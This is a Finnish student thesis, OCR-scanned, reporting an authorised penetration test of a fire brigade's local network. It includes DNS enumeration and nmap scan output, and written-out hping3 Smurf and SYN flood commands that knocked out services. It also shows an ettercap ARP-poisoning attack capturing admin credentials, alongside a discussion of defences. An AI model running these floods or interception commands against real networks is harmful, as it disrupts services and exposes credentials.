
Suunnitelma koostui testaustilanteen kuvailusta, testattavista asioista, WLAN testauk-
sesta, lahiverkon uhista, pakettikaappauksesta sekd mies valissd hyokkayksesta. Testat-
tavat asiat muodostivat suunnitelman ytimen, johon kuului jarjestelman jalanjalkien
tutkimista, skannaamista sek& haavoittuvuuksien analysointia. Suunnitelma perustui sen
hetkiseen tietoihin aiheesta sek& osittain Backtrack Linuxin tarjoamiin mahdollisuuk-

siin.

4.2 Tietojenkerays

Testaus aloitettiin selvittdmalla kohteen DNS-tietoja dnsrecon nimisella python skriptil-

EW

Jdnsrecon.py -d wpk.tpu.fi

Valitsimella ”d” ja sen jilkeiselld osoitteella maédriteltiin kohde toimialue. (Aldeid
2012.) Dnsrecon skriptin tulokset (Liite 1) kertoivat odotetusti kohteen nimipalvelimet,

mutta niiden lisaksi tulosten perusteella voitiin paatelld seuraavia asioita:

- DNS:n SOA tietueen sijainti
- Séhkopostipalvelin
- Kohteessa kaytetddn Kerberos todentamista

- Kohteessa on kéytosséa Active Directory
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DNS tietoja yritettiin hankkia myds fierce nimisell& skriptill4. Valitsimella "wide” Fier-

ce skannasi koko aliverkon (ha.ckers 2013.):

[fierce.pl -dns wpk.tpu.fi -wide

Fierce DNS tietojen hankkimisen liséksi yritti vy6hykesiirtoa DNS-palvelimia vastaan
siind kuitenkaan onnistumatta. Sen kuitenkin onnistui selvittdé joitakin IP-osoitteita ja

niitd vastaavia nimia, joita dnsrecon ei saanut selville (Liite 2).

Pelkilla IP-osoitteilla ja niitd vastaavilla nimilla ei tee mitdan, jos laitteet, joita ne edus-
tavat eivat ole pdaalla. Kohteiden tilan selvittdmiseksi suoritettiin selvinneitd IP-
osoitteita vastaan ARP-skannaus, joka toteutettiin nmap nimisell& sovelluksella:

sudo nmap -sn —PR [Kohde IP][aliverkkomaski}

Valitsimella “sn” madriteltiin, ettd tdman skannauksen yhteydessé ei suoriteta porttis-
kannausta ja valitsimella ”PR” otettiin kdyttoon ARP ping. (Nmap.org 2013.) Skannaus
paljasti yhteensé 40 laitteeen olevan paalla. Lisaksi skannaus paljasti sellaisten laittei-
den IP-osoitteen, jotka eivat DNS tietoja etsiessa paljastuisi. Naihin laitteisiin siséltyi
Ciscon, Broadcom:n ja Buffalon laitteita, kun katsoo millaisia laitteita ndma yrityksen
valmistavat selvidd niiden rooli verkossa. Ciscon laite on todenndkdisesti reititin tai
kytkin, Broadcomin laite AP (Access Point). ja Buffalon laite levypalvelin. Alta 16ytyy
kaksi esimerkkid ARP-skannauksesta, joista ensimmaisessd on Idydetty Buffalon laite.

Toisessa esimerkissé on l6ydetty Broadcomin laite.

Nmap scan report for kellari.wpk.tpu.fi (172.16.1.60)
Host is up (0.000099s latency).
MAC Address: 00:16:01:7E:A1:FO (Buffalo)

Nmap scan report for 172.16.0.10
Host is up (0.00022s latency).
MAC Address: 00:10:18:30:DE:7A (Broadcom)
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Porttiskannauksella, perustuen edellisiin tuloksiin, selvitettiin mitd portteja oli avoinna

selvinneissa kohteissa.

sudo nmap -Pn [Kohde IP]

Huolestuttavain tulos oli ettd kuinka monessa kohteessa oli auki jonkin palvelun tieto-
turvallinen versio seké tavallinen, tietoturvattomampi versio. Esimerkiksi monesta koh-
teesta 16ytyi sekd avoin HTTPS (Hyper Text Transfer Protocol Secure) ja http (Hyper
Text Transfer Protocol). Monen kohteen WWW-selaimessa toimivaan hallintapaneeliin
oli ndin helppo saada yhteys tai esimerkiksi kdynnistdaa mies valisséd hyokkays tallaista
kohdetta vastaan salasanan selvittdmiseksi. Kuvassa 37 nédkyy kuinka mies valissa
hyokkéyksella on asetuttu Ciscon laitteen ja ty0aseman, joka ottaa yhteyden laitteen
hallintapaneeliin http:n yli, valiin.

~ v  x root@bt: ~

File Edit View Terminal Help

Tue Oct 15 13:
TCP 172.16.0.9: 29 --> 172716.1.21:80 AP

GET /monitordata.shtml HTTP/1.1.
Host: 172.16. )
Connection: K
c3NhbGM=.
xhtml+xml,application L;0=0.9,image/webp, */*; q=0

NT 6.1; WOwW64) AppleWebKit/537.36 (KHTML, like
/30.0,1599.69 Safari/537.36.

pt=Encoding: g
Aecept-Lapnguage: fi-

->|USER: admin PASS: ss: INFO: 172.16.1.21/discover.sh

PASS: ssalc |INFO: 172.16.1.21/monitordata

Kuva 297: Mies valissa hyokkays Ciscon laitteen ja tydaseman valilla

Kuten kuvasta 37 voi huomata, http yhteys paljastaa kéytetyt kirjautumistiedot suhteel-
lisen helposti ja luettavassa muodossa. Sama, tietoturvallinen-tietoturvaton kuvio, tois-

tui monessa kohteessa Telnetin ja SSH:n (Secure Shell) kohdalla. Nédiden palveluiden
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kohdalla kannattaisi sammuttaa turvattomampi vaihto ja siirtya kayttaméaan vain turval-

lisempaa vaihtoehtoa.

Porttiskannaus myds monilta osin vahvisti aikaisempia tuloksia sekd kertoi enemmén
monesta kohteesta. Selvisi missd kohteissa ja missd porteissa pyoritetadn Microsoftin
AD:ta. Tietyiltd osin tulokset esittivat eriskummallisia tuloksia, mutta pienen tutkimuk-
sen jalkeen naillekin porteille 16ytyi todennékdisempi vaihtoehto. Ensimmaisend esi-
merkkin& on porttiskannaus samasta laitteesta, josta on esimerkki ARP-skannauksissa.

Esimerkist4 on korostettu http ja https aikaisemmin todetun perusteella.

Starting Nmap 6.25 ( http://nmap.org ) at 2013-10-15 14:36 EEST
Nmap scan report for kellari.wpk.tpu.fi (172.16.1.60)
Host is up (0.00057s latency).

Not shown: 993 closed ports

PORT STATE SERVICE

80/tcp open http

139/tcp open netbios-ssn

443/tcp open https

445/tcp open microsoft-ds

873/tcp open rsync

8873/tcp open dxspider

22939/tcp open unknown

MAC Address: 00:16:01:7E:A1:FO0 (Buffalo)

Toisena esimerkkinad on kuva 37 esittamédn mies valissd hyokkayksen kohteen porttis-
kannaus tulokset.

Starting Nmap 6.25 ( http://nmap.org ) at 2013-10-15 13:48 EEST
Nmap scan report for ahk.wpk.tpu.fi (172.16.1.21)

Host is up (0.0060s latency).

Not shown: 998 closed ports

PORT STATE SERVICE

23/tcp open telnet

80/tcp open http

MAC Address: 00:23:EA:BE:A6:C1 (Cisco Systems)

Kéyttojarjestelman tunnistaminen on olennaista kun etsitddn jarjestelman haavoittu-
vuuksia. Nmap:n valitsimella ”O” selvitettiin kohde IP-osoitteesta kayttojarjestelmé
(Nmap.org 2013.)

sudo nmap -O [Kohde IP]
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Padosin tulokset olivat luotettavia ja sellaisia joita aikaisempien tulosten avulla saattoi-
kin odottaa. Skannaus tunnisti kayttojarjestelmia Ciscon laitteista, Linux jarjestelmista
sekd Windowseja niissd kohteissa missa saattoi olettaakin olevan Windows kayttojérjes-
telménd. Alta l6ytyy muutamia esimerkkejd tuloksista. Ensimmaisessa esimerkissa

skannaus on tunnistanut Ciscon laitteen kayttojarjestelman.

Device type: switch

Running: Cisco 10S 12.X

0S CPE: cpe:/h:cisco:catalyst 2960 cpe:/h:cisco:catalyst 3560
cpe:/o:cisco:ios:12.2

OS details: Cisco Catalyst 2960 or 3560 switch (10S 12.2)

Network Distance: 2 hops

Device type: general purpose

Running: Microsoft Windows 7|2008

OS CPE: cpe:/o:microsoft:windows_7::- cpe:/o:microsoft:windows_7::spl
cpe:/o:microsoft:windows_server_2008::spl cpe:/o:microsoft:windows_8
OS details: Microsoft Windows 7 SPO - SP1, Windows Server 2008
SP1, or Windows 8

Network Distance: 2 hops

Pelkkien palveluiden, porttien ja kayttojarjestelmien avulla 16ytéisi varmasti haavoittu-
vuuksia, mutta sitd voisi verrata hakuammuntaan, joten tarkkojen sovellus versioiden
selvittdminen on oleellista. Tdma suoritettiin nmap:lla ja sille mé&ariteltiin valitsimet
”sV”, joka madrittelee ettd kyseessd on palveluiden versio skannaus, ja ”p”, jonka lisak-
si méaariteltiin portit, jotka skannataan. (Nmap.org 2013.) Maaritelty portti véli perustui

aikaisempien tulosten avoimiin portteihin.

nmap -sV [Kohde IP] -p 22-8873

Tulokset olivat vaihtelevia, mutta kuitenkin kayttokelpoisia. Joistakin palveluista selvisi
vain tarkempi nimi, mutta versionumeroa. Toisaalta joistakin palveluista tuli hyvinkin
tarkkoja versiotietoja. Myo0s tyhjia tuloksia oli jonkin verran. Alla on esitettynd esi-
merkkeja versioskannauksen tuloksista. Ensimmaisessa esimerkissa on skannattu edell

esitetyn mies vélissé hyokkayksen kohteen palveluiden versiot.
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Nmap scan report for kellari.wpk.tpu.fi (172.16.1.60)

Host is up (0.0011s latency).

Not shown: 8846 closed ports

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 1.3.34 ((Unix) mod_ssl/2.8.25
OpenSSL/0.9.7e)

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WPK)
443/tcp open ssl/http Apache httpd 1.3.34 ((Unix) mod_ssl/2.8.25
OpenSSL/0.9.7¢)

445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WPK)
873/tcp open rsync  (protocol version 29)
8873/tcp open ssl/rsync (protocol version 29)

Starting Nmap 6.25 ( http://nmap.org ) at 2013-10-18 10:18 EEST
Nmap scan report for 172.16.1.1

Host is up (0.021s latency).

Not shown: 8849 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh  Cisco SSH 1.25 (protocol 2.0)

23/tcp open telnet Cisco router telnetd

4786/tcp open unknown

Service Info: OS: 10S; Device: router; CPE: cpe:/o:cisco:ios

4.3 Lahiverkon uhat

Osana testausta suoritettiin myos erilaisia hyokkayksia ja tutkittiin miten kohdeverkko

reagoi tai saako siité tietoja irti.

4.3.1 SMURF hyokkays

Smurf hyokkéyksessd kohdeverkkoon ldhetetddn jatkuvasti ICMP-paketteja, joiden l&-
hettdjaksi on véaarennetty halutun kohteen IP-osoite. Pakettien kohteena on broadcast-
osoite. Broadcast-osoitteen edustaessa verkon kaikkia osoitteita seurauksena on ettéd
kaikki vastaavat paketteihin. Seurauksena on kohteen hukkuminen ICMP-paketteihin,
tasté seuraa kohteen muuttuminen kaytannossa kayttokelvottomaksi. (Rouse, M. 2007.)
Kéytin Smurf hyokkaykseen hping3 sovellusta. Hyokkayksen kohteena toimi yksi
WPK-verkon DNS-palvelimista.

hping3 -1 —flood —a [Kohde IP][Broadcast osoite]
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Valitsin “1” asetti hping3:sen kayttamadn ICMP:t4, ”flood” mahdollisti pakettien l&het-
tdmisen mahdollisimman nopeasti ja ”a”:lla méadriteltiin ettd pakettien lahettdjiksi vda-

rennetaan haluttu kohde. (ODay Security 2010.)

Hyokkayksen vaikutukset olivat huomattavissa lahes vélittomasti. Kohteeseen yhtey-
dessa ollut wpk-verkon harjoittelija huomasi kayton alkavan hidastumaan, kunnes jon-
kin ajan kuluttua katkesi. Verkon laajuiset vaikutukset oli todettavissa kun muihin pal-
velimiin yhteyden muodostaminen epdonnistui. Myos Internet yhteys oli hyokkayksen
aikana kayttokelvoton. Kuvassa 38 on hyokkayksen aikana tehty pakettikaappaus.

system [ ] Tue Oct 15, 10:05 AM

Capturing from eth0 [Wireshark 1.8.3 (SVN Rev Unknown from unknown)]
Anal Telephony Tools Intemals Help

Applications Place:

e )

Filter: | v | Expression...
No. Time Source Destinatil Protocol Length Info
wzTuzIT Iu. LIz I LTy 7z I 2IIi 9T T wz Tuny TP TEYuEST X STy TUIT; TreUE
8276300 536.3656870(172.16.1.74 172.16.255.255 P 42 Echo (ping) request id=0x6b@8, seq=39764/21659, ttl=64
8276301 536.3656930(172.16.1.74 172.16.255.255 P 42 Echo (ping) request id=0x6b@8, seq=40020/21660, ttl=64
8276302 536.3657000(172.16.1.74 172.16.255.255 IcMP 42 Echo (ping) request id=0x6b@8, seq=40276/21661, ttl=64
8276303 536.3657060(172.16.1.74 172.16.255.255 IcMP 42 Echo (ping) request id=0x6b@8, seq=40532/21662, ttl=64
8276304 536.3657150(172.16.1.74 172.16.255.255 IcMP 42 Echo (ping) request id=0x6b08, seq=40788/21663, ttl=64
8276305 536.3657210(172.16.1.74 172.16.255.255 IcMP 42 Echo (ping) request 1id=6x6b08, seq=41044/21664, ttl=64
8276306 536.3657280(172.16.1.74 172.16.255.255 IcMP 42 Echo (ping) request id=6x6b08, seq=41300/21665, ttl=64
8276307 536.3657340(172.16.1.74 172.16.255.255 IcMP 42 Echo (ping) request id=6x6b08, seq=41556/21666, ttl=64
8276308 536.3657410(172.16.1.74 172.16.255.255 IcMP 42 Echo (ping) request id=6x6b08, seq=41812/21667, ttl=64
8276309 536.3657470(172.16.1.74 172.16.255.255 IcMP 42 Echo (ping) request 1id=6x6b08, seq=42068/21668, ttl=64
8276316 536.3657540(172.16.1.74 172.16.255.255 e 42 Echo (ping) request 1id=6x6b08, seq=42324/21669, ttl=64
8276311 536.3657600(172.16.1.74 172.16.255.255 e 42 Echo (ping) request 1id=0x6b@8, seq=42580/21670, ttl=64 m
8276312 536.3657670(172.16.1.74 172.16.255.255 e 42 Echo (ping) request 1id=0x6b@8, seq=42836/21671, ttl=64
8276313 536.3657730(172.16.1.74 172.16.255.255 IcMP 42 Echo (ping) request 1id=0x6b@8, seq=43092/21672, ttl=64
8276314 536.3657800(172.16.1.74 172.16.255.255 IcMP 42 Echo (ping) request 1id=0x6b@8, seq=43348/21673, ttl=64
8276315 536.3657860(172.16.1.74 172.16.255.255 P 42 Echo (ping) request 1d=0x6b@8, seq=43604/21674, ttl=64
—| Frame 1: 6@ bytes on wire (480 bits), 6@ bytes captured (480 bits) on interface @

Interface id: @ m

WTAP_ENCAP: 1

Arrival Time: Oct 15, 2013 ©9:43:51.002438000 EEST

[Time shift for this packet: ©.000000000 seconds]
Epoch Time: 1381819431.002438000 seconds 3

Gege ©1 80 c2 06 G0 60 88 21 56 @7 58 8D 00 26 42 42 ....... ! V.X..&BB

6016 ©3 60 60 06 00 60 68 10 cc ef 48 8c 2e 80 68 8O  ...... RPN | RN
@020 8@ 63 70 16 00 21 56 B7 58 80 80 Bb 61 60 14 68 Pl IVL Xl

6036 62 60 6f 06 GO 66 60 GG 0O 66 60 ®O@ ... ....
@ ® Time shift applied to this packet (f... - Packets: 10463088 Displayed: 10463088 Marked: 0 Profile: Default

W™ [ root@bt: ~ 7 Capturing from eth0 ...

Kuva 3830: Pakettienkaappaus Smurf hydkkayksen aikana

Yksi keino Smurf hyékkayksien estamiseksi olisi estdéd IP directed broadcast niissé rei-
tittimien porteissa jotka eivat tarvitse sitd. On mahdollisuus myos kayttdd paasylistoja
reitittimilla estam&én hyokkaykseen liittyvad liikennettd. P&asylistojen haittana tdssa
yhteydessa on kuitenkin ettd ne samalla estavat TCP/IP-protokollaan perustuvien diag-
nostiikka sovellusten kaytdn. (Dargin, M. 2002; Martin, M. 2002.)

4.3.2 SYN flood hyokkays

SYN flood hyokkéayksessa haluttuun kohteeseen lahetetddn TCP-yhteyspyyntdja no-

pammin kuin niitd pystytdan késittelemadn. Jokaisessa l&hetetyssa paketissa on SYN
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lippu asetettu ja jokainen paketti nayttaa tulevan eri lahteesta. Kohteen yhteysjono tayt-

tyy, jonka jalkeen uudet yhteyspyynnot hylataén. (Internet Security Systems 2013.)

SYN flood hydkkayksen toteutin myos kéyttden hping3 sovellusta. Kohteena oli www-

palvelin, joka vastasi wpk-verkon www-sivuista.

sudo hping3 -i ul -S -p [Kohde portti][Kohde IP]

Valitsimella “i ul” pakettien ldhetysvili méaariteltiin yhden mikrosekunnin suuruiseksi.
”S” valitsimella méaériteltiin lahetettaviin paketteihin SYN lippu padlle. Kohde portti
asetettiin valitsimella ”p”. (ODay Security 2010.) Hyokkayksen aikana wpk-verkon
www-sivuja ei voinut kayttdd ja kohteena olevan palvelimen kayttd oli huomattavan
hidasta. Kuvasta 39 voi huomata ettd kohdeverkossa olevat TCP yhteydet kasvoivat

huomattavasti.

60 Seconds 0 -
TCP Connections 200 -

Kuva 39: Kohdeverkon TCP yhteyksien maaré SYN flood hytkkayksen aikana

SYN flood hyokkéaysté vastaan voi puolustautua ottamalla k&ytt6on SYN valimuistin tai
SYN cookiet. SYN valimuistin k&ytté SYN flood hyokkéyksen torjumisessa perustuu
siihen ettd TCP-yhteydelle ei anneta tayttd TCB:t4 (Transmission Control Block) ennen
kuin yhteyden muodostajan olemassaolosta voidaan varmistua. SYN cookie keinossa
yhteyksié ei, jonon tayttyessa pudoteta, vaan toiminta jatkuu ikdan kuin jonoa olisi kas-
vatettu. Yhteyden muodostajalle l&hetetddn normaalisti SYN-ACK-viesti, mutta SYN
tiedot poistetaan jonosta. Jos tdman jalkeen saadaan asianmukainen ACK-viesti, voi-

daan yhteydenmuodostus palauttaa jonoon alkuperdiselle paikalleen. Verkon laitteet,
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reitittimet ja palomuurit, voidaan asettaa suodattamaan liikennetta siten ettd SYN flood
hyokkéyksen paketteja ei reititetd eteenpéin. Toinen verkon laitteisiin perustuva keino
on asettaa reititin l&dhettdmaan véarennettyjd SYN-ACK lippuja siséltavida paketteja
hyokk&&jan suuntaan. Toinen samankaltainen puolustautumiskeino on lahett&dd hyokkaa-
jan kohteelle vaarennettyja ACK- ja RST lippuja sisaltdvia paketteja. Kuvassa 40 on
esitetty SYN-ACK sekd ACK-RST puolustus. (Eddy, W. 2013.)

Initiator Firewall/Proxy Listener Initiator Firewall/Proxy Listener

SYN
Attack SYNs

SYN-ACK
s$ "0_:1& / Spoofed ACK
SYN-ACK ACK-RST

(Proxy prevents TCBs from staying
in SYN-RECEIVED at the Listener)

&
/

(No SYN segments ever seen by Listener)

Kuva 310: SYN-ACK puolustuksen toiminta (Eddy, W. 2013.)

4.3.3 Pakettienkaappaus

Pakettienkaappauksen suoritin Wireshark-ohjelmalla. Toiminnan luonteesta johtuen
pakettien kaappauksella ei ollut varsinaista kohdetta vaan siind kuunneltiin passiivisesti
kaikkea verkon liikennettd. Pakettienkaappauksella selvisi tietoja sovellusten versioista,
laitteista sekd padsylistoista. Kuvassa 42 on otteita Wiresharkin kaappaamasta liiken-
teestd, josta voidaan n&hda ettd on kaapattu liikennettd koskien Ciscon laitetta. Tasta

laitteesta on saatu selvitettya nimi, kayttojarjestelman versio seka tyyppi.



57

135662Bafcisc0_97:58:8b ICDP!VTPIDTP}PAgP!UDLDICDP " 447 Device 1D: Arnold Port ID: GigabitEthernet®/11

Laitteen nimi

... Cisco 10
S Softwa re, €356
0 Softwa re (C356
0-IPBASE -M), Ver )
sion 12. 2(35)sk5|  Saman laitteen
, RELEAS E SOFTWA
RE (fc1) .Copyrig|  kZyttGjarjestelman versio
ht (c) 1 986-2007
by Cisc o System
s, Inc.. Compiled
- Jul-87 1
nachen. .
Wo- L3500

Laitteen tyyppi

Kuva 322: Ciscon laitteesta pakettikaappauksen avulla selvinneitd tietoja

Verkon liikenteestd selvisi myés WWW-palvelimen kayttdma sovellus ja sen versio,

kuten kuvasta 43 voi huomata.

P ..HTTP/1
.1 288 0 K..Cache
-Control : privat
e, Max-a ge=0..Co
ntent-Ty pe: text
Jxml;: ch arset=ut
oot 1005 ol WWW-palvelimen sovellus ja versio
X-AspNet -Version

2.8.58 727..X%X-P
owered-B y: ASP.N
ET..Date : Tue, 1
5 0ct 20 13 06:08

:58 GMT. .Content
-1 annth- ARA

Kuva 333: Pakettikaappauksella saatu tieto WWW-palvelimen sovelluksesta ja sen versiosta

Pakettikaappauksella voitiin myds havaita verkossa kaytdssa oleva paasylista. Kaapatun
paketin yksityiskohdat on esitetty kuvassa 44. (Cisco 2013.)

LOCAL7.INFO: 967159: Oct 15 06:07:30.492: %SEC-6-IPACCESSLOGP: list natin ohi denied udp M|ta estettiin

Pa&sylistan lokiviesti  Listan nimi

PLY.... 0.<1908>9
67159: 0 ct 15 06
:87:30.4 92: %SEC
-6-TPACC ESSLOGP:

14| Mistd mihin estetty lilkenne oli kulkemassa

Kuva 344: Pakettikaappauksella selvinneita péasylista tietoja
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4.3.4 Mies valissa hyokkays

Mies valissd hyokkays on tuloksiltaan hyvin samankaltainen kuin pakettienkaappaus,
mutta on keinona aktiivinen, kun pakettienkaappaus oli passiivinen. Hyokkayksen teori-
aa esiteltiin kappaleessa 3.2.1 ja kuvassa 26. Mies vélissa hyokkays toteutettiin ettercap
nimisellda sovelluksella, jonka avulla asetuin wpk-verkon harjoittelijan tybaseman ja

palvelimen véliin.

ettercap -T -M arp:oneway,remote /Kohde IP 1/ /Kohde IP 2/

Ettercapin madrittely erosi hieman muista ké&ytetyista sovelluksista. Valitsin T maérit-
teli, ettd k&ytetddn komentokehote versiota ettercapista, ja ”M” ettd suoritetaan mies
valissa hyokkays. “arp” maédritteli hyokkayksen toteutuskeinoksi ARP myrkytyksen,
”oneway” myrkytyksen yksisuuntaiseksi kohteesta 1 kohteeseen 2 ja “remote” kaap-
paamaan sellaista liikennettd joka kulkee jommankumman kohteen l&pi. (Tech Juice
2011.) Hyokkayksen tuloksia esitettiin jo kuvassa 39, mutta lisdksi kuvassa 45 on tilan-

ne, jossa pystyttiin lukemaan tydasemalta kaytettyja www-osoitteita.

Mon Oct 14 15:30:
UDP[FHEY 172.16.6.

W . youtube
)

9:57 2013
).9:60969 -->
ientsl.google.

14 15:30:57 2013
172.16.0.9:61147 -->

Kuva 355: Mies valissa hyokkayksen aikana selvinneitéd www-osoitteita
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5 POHDINTA

Varmasti joistakin jarjestelmista voitaisiin sanoa niiden olevan tietoturvallisia, mutta se
ei ole niin yksiselitteinen kasite. Aina loytyi jokin keino Kiertaa tietoturva tai vahintaén
sellaisen mahdollisuus, kuten usein huomasin tata opinndytety6tad kirjoittaessa. Yritys-
ten on hyvaksyttévé jokin riskitaso, joka on suhteutettu liiketoimintaansa, silld “murto-

varman” jérjestelmén toteuttaminen on kallista ja sen kaytto haittaisi litketoimintaa.

Tunkeutumistestauksen kaytanteet ovat kuin missa tahansa projektissa, se tarkasti maa-
ritelty ajallisesti ja mitd testauksen aikana tehdaan, ja ei tehdd. Tunkeutumistestaus esi-
teltiin Windows nakokulmasta, mutta joitakin hyokkayksia tai muita kohtia, jotka liit-
tyivat Windowsiin ominaisuuksiin, on siirrettavissa sellaisenaan esimerkiksi Linux koh-

teeseen.

Tamaén tyon perusteella voi miettid onko tunkeutumistestaus se mita tarvitsemme? Onko
jotain mitd meidan asiakkaan pitaisi ottaa huomioon? Onko ulkoistamamme palvelu

ottanut naita asioita huomioon?

Tyossa ei kasitelty tietoturvallisuuden perusteitta, kuten koulutusta tai tietoturvapolitii-
kan muodostamista. N&in jalkeenpain ajateltuna rajaus oli oikea, silla tunkeutumistesta-
uksestakin olisi helposti kirjoittanut enemman. Rajauksen puolesta puhuu sekin ettd
tunkeutumistestausta ei kannata edes harkita jos perusasiat eivét ole kunnossa. Kypsy-

méattOmassé tietoturvaymparistossa testaajalla ei ole asiakkaalle juurikaan tarjottavaa.

Aihe oli laaja, josta olisi helposti saanut useammankin opinndytetyon. Kasittelin omassa
ty6sséani vain tunkeutumistestausta lahiverkkoon. Erds hieno ja kiinnostava parin kanssa
tehtdva opinndytetyo olisi ollut, jossa toinen testaa langallista ja langatonta lahiverkkoa

ja toinen kohteen fyysista turvallisuutta.
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LIITTEET

Liite 1: DNSrecon tulokset

[*] Performing General Enumeration of Domain: wpk.tpu.fi
[-] DNSSEC is not configured for wpk.tpu.fi

[*] SOA palo3.wpk.tpu.fi 172.16.1.73

[*] NS palo3.wpk.tpu.fi 172.16.1.73

[*] NS palo2.wpk.tpu.fi 172.16.1.72

[*] NS palo4.wpk.tpu.fi 172.16.1.74

[*] MX pate.wpk.tpu.fi 172.16.1.56

[*] A wpk.tpu.fi 172.16.1.72

[*] A wpk.tpu.fi 172.16.1.73

[*] A wpk.tpu.fi 172.16.1.74

[*] A wpk.tpu.fi 172.16.1.90

[*] A wpk.tpu.fi 10.19.13.1

[*] Enumerating SRV Records

*] SRV _gc._tcp.wpk.tpu.fi palod.wpk.tpu.fi 172.16.1.74 3268 100

[*] SRV _kerberos._tcp.wpk.tpu.fi palod.wpk.tpu.fi 172.16.1.74 88 100

[*] SRV _kerberos._tcp.wpk.tpu.fi palo3.wpk.tpu.fi 172.16.1.73 88 100

[*] SRV _kerberos._tcp.wpk.tpu.fi palo2.wpk.tpu.fi 172.16.1.72 88 100

*] SRV _kerberos._udp.wpk.tpu.fi palo4.wpk.tpu.fi 172.16.1.74 88 100

[*] SRV _kerberos._udp.wpk.tpu.fi palo3.wpk.tpu.fi 172.16.1.73 88 100

*] SRV _kerberos._udp.wpk.tpu.fi palo2.wpk.tpu.fi 172.16.1.72 88 100

[*] SRV _ldap._tcp.wpk.tpu.fi palo2.wpk.tpu.fi 172.16.1.72 389 100

*] SRV _Idap._tcp.wpk.tpu.fi palo3.wpk.tpu.fi 172.16.1.73 389 100

[*] SRV _ldap._tcp.wpk.tpu.fi palod.wpk.tpu.fi 172.16.1.74 389 100

[*] SRV _sipinternaltls._tcp.wpk.tpu.fi ocspool.wpk.tpu.fi 172.16.1.99 5061
[*] SRV _ldap._tcp.pdc._msdcs.wpk.tpu.fi palod.wpk.tpu.fi 172.16.1.74 389
[*] SRV _ldap._tcp.gc._msdcs.wpk.tpu.fi palod.wpk.tpu.fi 172.16.1.74 3268
[*] SRV _Idap._tcp.ForestDNSZones.wpk.tpu.fi palo2.wpk.tpu.fi 172.16.1.72
[*] SRV _ldap._tcp.ForestDNSZones.wpk.tpu.fi palo4.wpk.tpu.fi 172.16.1.74
[*] SRV _Idap._tcp.ForestDNSZones.wpk.tpu.fi palo3.wpk.tpu.fi 172.16.1.73
*] SRV _ldap._tcp.dc._msdcs.wpk.tpu.fi palo2.wpk.tpu.fi 172.16.1.72 389
[*] SRV _Idap._tcp.dc._msdcs.wpk.tpu.fi palo3.wpk.tpu.fi 172.16.1.73 389
*] SRV _Idap._tcp.dc._msdcs.wpk.tpu.fi palod.wpk.tpu.fi 172.16.1.74 389
[*] SRV _kerberos._tcp.dc._msdcs.wpk.tpu.fi palo2.wpk.tpu.fi 172.16.1.72
*] SRV _kerberos._tcp.dc._msdcs.wpk.tpu.fi palo4.wpk.tpu.fi 172.16.1.74
[*] SRV _kerberos._tcp.dc._msdcs.wpk.tpu.fi palo3.wpk.tpu.fi 172.16.1.73
[*] SRV _kpasswd._udp.wpk.tpu.fi palod.wpk.tpu.fi 172.16.1.74 464 100

[*] SRV _kpasswd._udp.wpk.tpu.fi palo3.wpk.tpu.fi 172.16.1.73 464 100

[*] SRV _kpasswd._udp.wpk.tpu.fi palo2.wpk.tpu.fi 172.16.1.72 464 100

[*] SRV _kpasswd._tcp.wpk.tpu.fi palod.wpk.tpu.fi 172.16.1.74 464 100

[*] SRV _kpasswd._tcp.wpk.tpu.fi palo3.wpk.tpu.fi 172.16.1.73 464 100

[*] SRV _kpasswd._tcp.wpk.tpu.fi palo2.wpk.tpu.fi 172.16.1.72 464 100
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Liite 2: Fierce tulokset

root@bt:/pentest/enumeration/dns/fierce# ./fierce.pl -dns wpk.tpu.fi -wide
DNS Servers for wpk.tpu.fi:

palo4d.wpk.tpu.fi

palo3.wpk.tpu.fi

palo2.wpk.tpu.fi

Trying zone transfer first...
Testing palo4.wpk.tpu.fi
Request timed out or transfer not allowed.
Testing palo3.wpk.tpu.fi
Request timed out or transfer not allowed.
Testing palo2.wpk.tpu.fi
Request timed out or transfer not allowed.

Unsuccessful in zone transfer (it was worth a shot)
Okay, trying the good old fashioned way... brute force

Checking for wildcard DNS...
Nope. Good.
Now performing 1895 test(s)...

172.16.0.1

172.16.0.99
172.16.1.4

172.16.1.21
172.16.1.30
172.16.1.52
172.16.1.54
172.16.1.55
172.16.1.56
172.16.1.60
172.16.1.62
172.16.1.71
172.16.1.72
172.16.1.73
172.16.1.74
172.16.1.75
172.16.1.76
172.16.1.77
172.16.1.78
172.16.1.79
172.16.1.80
172.16.1.85
172.16.1.99
172.16.1.28
172.24.1.0

172.16.1.55

dhcp.wpk.tpu.fi
tuhkapilvi.wpk.tpu.fi
jauhe.wpk.tpu.fi
ahk.wpk.tpu.fi
arnold.wpk.tpu.fi
ulkodns.wpk.tpu.fi
luukku.wpk.tpu.fi
savu.wpk.tpu.fi
pate.wpk.tpu.fi
kellari.wpk.tpu.fi
hormi.wpk.tpu.fi
palol.wpk.tpu.fi
palo2.wpk.tpu.fi
palo3.wpk.tpu.fi
palo4.wpk.tpu.fi
palo5.wpk.tpu.fi
palo6.wpk.tpu.fi
tankki.wpk.tpu.fi
tikas.wpk.tpu.fi
arina.wpk.tpu.fi
varoitin.wpk.tpu.fi
paloasema.wpk.tpu.fi
suutin.wpk.tpu.fi
master.wpk.tpu.fi
mc.wpk.tpu.fi
www.wpk.tpu.fi

Subnets found (may want to probe here using nmap or unicornscan):

172.16.0.0-255 : 2 hostnames found.
172.16.1.0-255 : 23 hostnames found.
172.24.1.0-255 : 1 hostnames found.



